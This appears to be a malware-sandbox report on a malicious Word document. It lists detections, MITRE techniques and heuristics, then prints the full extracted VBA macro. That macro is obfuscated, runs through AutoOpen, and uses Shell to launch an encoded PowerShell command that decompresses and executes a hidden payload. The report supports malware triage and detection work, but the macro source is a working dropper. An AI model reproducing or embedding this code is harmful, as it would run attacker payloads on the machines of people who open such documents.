MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. The Autoopen subroutine calls a function that uses the Shell command to execute a string. This indicates the macro is designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6578456-0' further supports this dropper functionality.
Heuristics 7
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ClamAV: Doc.Dropper.Agent-6578456-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6578456-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Next QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512) For mbSdE = zzpIk To WAMGka -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub Autoopen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12880 bytes |
SHA-256: e35094a00d5997b92aaccb3a66b421cee03f1cd0d37c825a843a949e9037309a |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ArbVhjnohi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function QjwIhZ()
On Error Resume Next
For RWnhk = EpFdM To HKrkVm
For OXONa = FPMIE To 90198
mODZQf = (13819 / CBool(irXHpR) - rZmVhi / Oct(81581 / Hex(74392) / JMXiu + Rnd(jBidss / Fix(37))))
Next
SUpfQ = 69015 - 62143
Next
For FlrdXm = iNEvc To PEHcr
For KWYLYj = HSfBOG To 12256
DafBW = (10913 / CBool(SUZwQ) - CQiCZ / Oct(96584 / Hex(41915) / jaTum + Rnd(EDLppV / Fix(37))))
Next
LdbaUf = 187 - 7522
Next
QjwIhZ = sEJGzCroE + Shell(AQjrPYIJJ + Chr(dwYjRJ + vbKeyP + huTijc) + "owers" + vwAjjP + uiuHN + fTRQjz + ijCUi, 8512 - 8512)
For mbSdE = zzpIk To WAMGka
For PIjHu = rmHcE To 35067
Rcorb = (17550 / CBool(CGMAhl) - odOTkF / Oct(88772 / Hex(78559) / CUYLMP + Rnd(XkqOYu / Fix(37))))
Next
VfazD = 17225 - 92610
Next
End Function
Sub Autoopen()
On Error Resume Next
For aJTDIs = UMbch To XDzNnQ
For PrWauR = oJGqfz To 36418
OsJGwO = (32022 / CBool(nvNZwb) - lQsGUj / Oct(74856 / Hex(86677) / qzTKG + Rnd(whSdoF / Fix(37))))
Next
jTawN = 67500 - 58492
Next
QjwIhZ
For svMjUa = swKbzB To wvFXC
For fGUmYh = YfVVDO To 52917
EGilJJ = (79282 / CBool(SNFCQ) - fsqjf / Oct(4181 / Hex(71665) / ZHmrPM + Rnd(oXkZRs / Fix(37))))
Next
blsppm = 4685 - 49644
Next
End Sub
Attribute VB_Name = "fTBAcfXjZ"
Function vwAjjP()
On Error Resume Next
For sNJBHF = BJkzn To MbatNp
For jbzqim = URkrtj To 26395
uVVHcJ = (15903 / CBool(sbVboJ) - ZGnXw / Oct(33473 / Hex(30490) / SUUDj + Rnd(sGGji / Fix(37))))
Next
EYGMfb = 1946 - 9526
Next
ucRzwAQ = "HeLL -e IAAo" + "AG4AZQBXAC" + "0ATwBCAEoA" + "ZQBjAFQAIA" + "BJAG8ALgBzAF" + "QAcgBFAGEATQB" + "SAEUA"
For NLvKu = lGIOQ To CCmHFY
For zVPvJ = SAzasX To 31533
EEJYs = (80546 / CBool(HzzRO) - CVTEZ / Oct(5925 / Hex(98893) / tzPmi + Rnd(KlfQrA / Fix(37))))
Next
wzdiM = 66240 - 76994
Next
pEamjs = "QQBEAGUAUgAo" + "ACgAIABuAGU" + "AVw" + "AtAE8AQgBKA" + "GUAY" + "wBUAC" + "AAcwB" + "5AHMAVA" + "BFAG"
For VSivaQ = jVTUQF To HtmKO
For VUhZO = DXqWMU To 21906
XflqH = (21569 / CBool(FJwWjO) - qjvCUl / Oct(44301 / Hex(2597) / EhsMHq + Rnd(HzFsnb / Fix(37))))
Next
wCDXP = 20796 - 70111
Next
mzsFlZluzwV = "0AL" + "gBJAG8ALgBjAE" + "8AbQBQAHIARQB" + "zAHMAaQBvA"
For iTQhG = KAapWu To JPwXPJ
For XdVAPb = zQNHqA To 3060
YvajZ = (94892 / CBool(fCRhbn) - EzABvf / Oct(2402 / Hex(95954) / SiaKj + Rnd(iftfG / Fix(37))))
Next
CzfkrY = 96880 - 36318
Next
pQYuQrdm = "G4ALgBEA" + "GUAZgBMAGEAVABF" + "AHMAdAByAGUAYQ" + "BtA" + "CgAWwB" + "JAE8AL" + "gBtAGUA"
For hAMMMN = pFVBa To IFwmPS
For lnwjw = CVQDH To 5522
hkiOwX = (98674 / CBool(qoJFQX) - ZlFIfw / Oct(93827 / Hex(89260) / fPLLl + Rnd(COwvz / Fix(37))))
Next
aknsT = 84193 - 91931
Next
TrWOwnKCZu = "bQB" + "vAHIAeQ" + "Bz" + "AHQAcgBlAGEAT" + "QBdAF" + "sAYwBPAE4Adg"
For mbfiNv = wzWjkp To jiMorR
For uGUZQz = RQMGA To 91049
Dkjzp = (86834 / CBool(PbPMi) - AFjiAi / Oct(24581 / Hex(84525) / KEwwi + Rnd(iJZjuK / Fix(37))))
Next
wfqBYi = 60909 - 60137
Next
jYLGTnVm = "BFAFIAdABdAD" + "oA" + "OgBm" + "AFIAbwBNA" + "EIAQ" + "QBzAGUANg"
For MizAM = iGWiYi To bAtOX
For RqcnpV = AnwGi To 23622
FsOwiU = (97207 / CBool(SNLlwZ) - qIJLz / Oct(26360 / Hex(29658) / uJfFju + Rnd(QEMtU / Fix(37))))
Next
lzkCip = 44759 - 29541
Next
VLzoETAkH = "A0AHMAVABSAE" + "kATgBnA" + "CgAJwBW" + "AFoA"
For EYhzzq = TNbpIT To zOPhLz
For YDFTE = ZIRXs To 39242
FHYmz = (32659 / CBool(kzRib) - KlnTI / Oct(23467 / Hex(34845) / fUcds + Rnd(XKwDzo / Fix(37))))
Next
jsqck = 88639 - 57234
Next
OfAKLUMcW = "QgB0AFQAO" + "ABJAHcARgBJAFg" + "ALwBTAGoAOABzAE" + "cAVQ" + "BSAHAAUQ" + "BjAFcAMwB"
For Zmasm = oUwPf To wZmvJ
For lvaDN = nQdszq To 45690
ozGiB = (70276 / CBool(fjqwo) - lCGFu / Oct(37324 / Hex(61574) / hwWYu + Rnd(WWvXH / Fix(37))))
Next
NNBTEu = 47402 - 97110
Next
sfXScP = "4AFE" + "AUwB" + "DAFkAawBSA" + "FEANAAwAF" + "MARABNAFQA"
For MjFZO = NXnCX To JGAkJH
For jJoTqw = XBnAA To 89921
DVNQzf = (8120 / CBool(zHUkA) - HAjvn / Oct(87822 / Hex(28147) / XQOdKd + Rnd(jmCcK / Fix(37))))
Next
lnTKb = 51467 - 52938
Next
lslpVw = "RwBsAHUAN" + "wBMAHUAcABSAD" + "MAdABoAFUAR" + "QBJAC8AO"
vwAjjP = ucRzwAQ + pEamjs + mzsFlZluzwV + pQYuQrdm + TrWOwnKCZu + jYLGTnVm + VLzoETAkH + OfAKLUMcW + sfXScP + lslpVw
End Function
Function uiuHN()
On Error Resume Next
For jzFvz = ADFMB To HzzCV
For awPUR = qzWNP To 71512
SnlqR = (17260 / CBool(LNLfjp) - rwnqRo / Oct(11063 / Hex(70) / uLhzFA + Rnd(moUAif / Fix(37))))
Next
GftoK = 26295 - 70990
Next
cKRqFOG = "QAyAEs" + "AawA4AFE" + "AdgBUAGQ" + "AcgB" + "6ADMAS" + "ABOAHUAagAx" + "AGMAaw" + "BkACsASw" + "BlAFgAQg" + "BFAEYAWg"
For ochwAi = wwGSH To fjLbLS
For rMosL = jKYzvm To 89158
XFQHz = (21479 / CBool(pXuPX) - bwhMzu / Oct(23986 / Hex(83895) / nonYBN + Rnd(zKjNf / Fix(37))))
Next
ivULH = 18056 - 3828
Next
YwhHrNCYdnP = "BVAE" + "4AUAB" + "FAHgAQgBJA" + "EQARgBlAFIAegBn" + "AE8Adg"
For udnwFN = nwrhTw To bTbJB
For ajiKw = Smrnm To 5936
msKzZw = (99775 / CBool(JOofLK) - TAkwI / Oct(73404 / Hex(27950) / udzkv + Rnd(vJEii / Fix(37))))
Next
aRUBM = 2822 - 62810
Next
GinTtBCj = "BS" + "AE4A" + "Rw" + "AxAHQALwArADE" + "AYwBHAD" + "AAUg"
For VtinJ = SqDov To XhPWa
For EiNFj = hAlCj To 66745
GFzqAw = (23318 / CBool(plFFQj) - lsBzaA / Oct(94669 / Hex(4121) / QKiFJ + Rnd(QKUCo / Fix(37))))
Next
aqOYOk = 28938 - 85921
Next
FlZEWlaGZZJ = "BjAHYA" + "bwB" + "BAFMATgA5AGcAM" + "gBzAHMAawB" + "LAEEA" + "eQA4AFIAUwBoAE" + "gAZgB" + "RAGYANgBNAF" + "cASg" + "B4AHk"
For zTRGO = AiHlJD To aqUGRU
For vlOvc = CmZMP To 65737
vQqNw = (89329 / CBool(QbMQfu) - QXEHSu / Oct(45423 / Hex(24954) / EViDq + Rnd(JvVbt / Fix(37))))
Next
JAGHXs = 8948 - 38316
Next
tLRSn = "AVgBn" + "AHUAUgBS" + "AHI" + "AcABkAFEAWgBV" + "AD"
For wQifl = VEwnl To CmrUrl
For SRuDA = HXzzvC To 36481
qGFwYF = (97579 / CBool(rYnIQH) - PnjGB / Oct(3099 / Hex(13890) / Mhzdr + Rnd(EBlSp / Fix(37))))
Next
flYTj = 7891 - 59486
Next
ujXbmQi = "YASgB3" + "ADEAV" + "AA" + "4AC8AZgAy"
For WQsRA = hMPvR To iDtOab
For OnXCp = vidPMa To 95591
hjvof = (57012 / CBool(qrlqBz) - csJsEw / Oct(30892 / Hex(74203) / ODqFaD + Rnd(CUTUBW / Fix(37))))
Next
ZvzaXv = 72198 - 23332
Next
hHlccTGBpOP = "AGkA" + "ZgBQAHIA" + "ZQBlAFUAZ" + "ABTAG8AZwBqA" + "FEAdw" + "BJAGIA" + "YQBLAGQAL" + "wBqA" + "G8AWQ" + "BKAE4AMQ"
For dRGlFU = BGuih To pYGnuj
For idbFv = wGWsrN To 3858
NnUSs = (64842 / CBool(SOGoPo) - ZTkAC / Oct(81499 / Hex(10037) / qBqUX + Rnd(fODUf / Fix(37))))
Next
blmUC = 3179 - 45611
Next
MQApkQJ = "B4ADMAa" + "AAzAHUAW" + "gBXADUAdwB5AFQA" + "TQB3A" + "GsAcA" + "Bv" + "AEYAcw" + "A3AHQASQB" + "KAHIAVAA2A" + "GsA"
For OVRfw = hCHqLL To NzTcX
For imzCT = SiohQz To 1018
plUkK = (48026 / CBool(idHMJU) - OoSrf / Oct(84133 / Hex(79372) / PSzvdM + Rnd(UqtKsV / Fix(37))))
Next
cjRwcA = 18600 - 85712
Next
qqhvwJYfj = "agBNADIAVAB3" + "AGE" + "AdAA0AFgAcAB" + "QAGwAb" + "QBWAE" + "oAVQBTAFAAUABy" + "AEoAeABwAGcA" + "MwB4AG4Ad" + "QBKA" + "HgATQ"
uiuHN = cKRqFOG + YwhHrNCYdnP + GinTtBCj + FlZEWlaGZZJ + tLRSn + ujXbmQi + hHlccTGBpOP + MQApkQJ + qqhvwJYfj
End Function
Function fTRQjz()
On Error Resume Next
For KPHPzP = SIdLV To mPvUo
For QTzbp = LjZhOp To 37689
cnfVz = (87237 / CBool(SaBPJ) - awCCI / Oct(21882 / Hex(1146) / WLoSco + Rnd(wluosz / Fix(37))))
Next
zkaXv = 8028 - 96106
Next
FwmCOWPsJY = "BMAHMATABVAG" + "0ARABqAGEAYwA4A" + "DY" + "AaQBpA" + "EwAbg" + "BLAGUAZQB4AH" + "MAYQBRAFQATQ" + "BuAG8AY" + "QB3AGUARwAw"
For zLfjkn = iGdTu To cqCUE
For TpHbR = BwRcl To 30528
idNdnw = (7256 / CBool(aGnKZE) - XuXCq / Oct(59421 / Hex(58590) / pkNZj + Rnd(GCUNWP / Fix(37))))
Next
ONOYBj = 85698 - 67112
Next
BlmmLD = "AHkAbg" + "A0AFoARgBKA" + "HIASABtAGQA" + "LwB4ADYANABQAFc" + "AUwBK" + "AC8AdgBvAFAA" + "dQBMAHQAYQBx" + "AEUAS" + "wBWAG"
For QsBhZ = EjZRz To YsZWU
For UDTwC = rJhIip To 96267
UVTVXC = (33019 / CBool(wloFQC) - UpBjiX / Oct(60273 / Hex(193) / pMpPq + Rnd(EjTOED / Fix(37))))
Next
EwSkm = 9333 - 66565
Next
NnpszkGmF = "wAaAByAEgAWgB" + "MADIAMgBmAEYA" + "UgBxACsAMwAw" + "ADkAegBsAC8A" + "RwBjADEALw" + "BBAEYARABMAFMAN" + "wBkAFcAUQBRA" + "DYA"
For zZpTN = cITOp To AfLMB
For DjElBz = ukDOtl To 50947
LsnAw = (56900 / CBool(baAzPh) - YnGju / Oct(2428 / Hex(4109) / LXrhS + Rnd(ZuZdPD / Fix(37))))
Next
nXLFOc = 8996 - 57660
Next
fuDfh = "SQAvACsARwA" + "3AHM" + "ANQBwADE" + "AVgB3A" + "G8AcgA4AE" + "kA" + "TQ"
For CiFWLP = KqZPH To QIPLsC
For aWAdjl = uijYz To 49010
UJcwXJ = (72286 / CBool(npohH) - CqCkC / Oct(94625 / Hex(20011) / ibmazO + Rnd(JARiFv / Fix(37))))
Next
mPUsvM = 68258 - 19864
Next
VLTuEPiwL = "B2" + "AGIAWQBDAEwA" + "dQBPAGE" + "ATgBoADE" + "AMABwAGkARg" + "BU" + "AGsAdAA2"
fTRQjz = FwmCOWPsJY + BlmmLD + NnpszkGmF + fuDfh + VLTuEPiwL
End Function
Function ijCUi()
On Error Resume Next
For CdJroi = ucQpbA To wKXid
For WzBKDD = PKCwwX To 73882
wqWrfL = (44270 / CBool(pGYmF) - hXdFU / Oct(35188 / Hex(6830) / wolqZk + Rnd(RsDOaA / Fix(37))))
Next
Brwdz = 86594 - 23972
Next
fmXTRDOW = "AGIAN" + "gBCAHMAMQA2AFU" + "ANQBWAEwAcgAzA" + "FcAcAB" + "NAHMAMg"
For fQhrc = VqCUjU To hGommf
For NUXiX = WmHqS To 20236
uJUIi = (15111 / CBool(wCAuuf) - TkJrNN / Oct(78955 / Hex(81383) / sCTOI + Rnd(iMBVEz / Fix(37))))
Next
mjEij = 51075 - 21549
Next
iblKPC = "BqA" + "HYA" + "cwB5AGcAU" + "QB1AG0ATA" + "BEAHQARgB" + "JAE4AYQB2A" + "FYARAAwA" + "G0AVgBXAEEA" + "OQBDAG"
For dksmC = wzFza To wbFOt
For NUosYb = vwdnid To 27887
rPSbbF = (64626 / CBool(NwYduZ) - aplvM / Oct(82728 / Hex(59944) / LRJHDV + Rnd(XTMYH / Fix(37))))
Next
nnRij = 69710 - 52592
Next
jFJbEqwwKL = "QASwBVAD" + "AAbgBvAHcAVwBZA" + "E8AMwB" + "mAG" + "MAegBCADEA" + "RwB"
For AzjWmC = zhBoLd To KSwiO
For YERVR = mBTNjG To 7359
LTZkQS = (24926 / CBool(mKkvij) - zkBVZX / Oct(92232 / Hex(60617) / EnPzd + Rnd(VhIpv / Fix(37))))
Next
sNNwow = 35353 - 14029
Next
FOtzsB = "XAG" + "0AdwBGAFIA" + "eABGAHYAQwBtAE4" + "AUgBHA"
For WRGXTd = liQPoL To dCPwSp
For nslnG = oZkZd To 46595
hVJZKq = (81950 / CBool(dYfChj) - tYCASh / Oct(67136 / Hex(46913) / kNGqM + Rnd(rlQhwH / Fix(37))))
Next
qmbwHJ = 39541 - 11237
Next
nODWHwrFjiT = "GoARQAyAGkAT" + "AB4AFAAdQBu" + "AE4AUwBrAEM" + "AQgBVAGkAcwA2AG" + "MAaABOAD" + "gAQgBzA" + "EYAMgA" + "rAHcAMAA9A" + "CcAIA"
For ZpEfLW = Gwwzpp To kAkkju
For zhcBiQ = TZZDO To 97109
QljhVI = (18940 / CBool(zJDBpq) - XZnLzZ / Oct(15138 / Hex(53352) / dGDmWZ + Rnd(aqITOD / Fix(37))))
Next
LlcOi = 35803 - 96647
Next
cwObEQLf = "ApACAAL" + "AAgAFsAaQB" + "PAC4AYwBPAE0AU" + "AByAGUAUwBzAGk" + "ATwBuA" + "C4AQwBvAE" + "0AUAByAEUA" + "UwBTAGkAbwBOAG0"
For biVCAP = wOIKC To OEXOa
For cKjXj = WcaXK To 49519
fwfVR = (37902 / CBool(dYruK) - AwwjF / Oct(484 / Hex(15112) / VWuLl + Rnd(dncbEj / Fix(37))))
Next
XHjjF = 90113 - 1449
Next
VXRRKRC = "AbwB" + "EAEUAXQA6AD" + "oARABFAGMATwBtA" + "HAAUgBFAHMA" + "cwA" + "pACkALA" + "AgAFsAcwBZA"
For ESmMfT = jtSKR To JZkJf
For vqvQpb = dqMzz To 10371
PREIz = (12586 / CBool(FHjJu) - uNizZ / Oct(49459 / Hex(19617) / vIBwk + Rnd(qhTvSE / Fix(37))))
Next
qrVbK = 48701 - 40254
Next
vXhjAGF = "HMAdABFAE" + "0ALgBUAGUAWAB" + "0A" + "C4AZQBO" + "AG" + "MATwBEAGkATgBn" + "AF0AOgA" + "6AGEAcwBjAE" + "kASQApACAAKQAu" + "AHIARQBhA"
For jMHvKJ = INYZv To UJCMO
For ZYnnqp = DVMXO To 764
OMwuAZ = (35226 / CBool(YFXtJI) - iSPvu / Oct(91012 / Hex(35355) / YRGEFt + Rnd(pJZFoI / Fix(37))))
Next
HLoMz = 98971 - 64571
Next
dRnQBdamZhI = "GQAVABvAGU" + "AbgBEACgAIA" + "ApAHwAJg" + "AoAC" + "AAJ" + "ABwA" + "HMASA" + "BP"
For wfzjn = ISGtvP To duVMj
For QNTDUO = KDHhw To 36383
IUaGY = (12725 / CBool(hrTLs) - oiQTAS / Oct(43123 / Hex(33568) / dcdSR + Rnd(ELYzcB / Fix(37))))
Next
JUPna = 53061 - 66168
Next
lbanW = "AG0AZ" + "QBbAD" + "QAXQArACQAcA" + "BzAEgATwBt" + "AG" + "UA" + "WwAzADAAX" + "QArACcAWAAnACkA"
ijCUi = fmXTRDOW + iblKPC + jFJbEqwwKL + FOtzsB + nODWHwrFjiT + cwObEQLf + VXRRKRC + vXhjAGF + dRnQBdamZhI + lbanW
End Function
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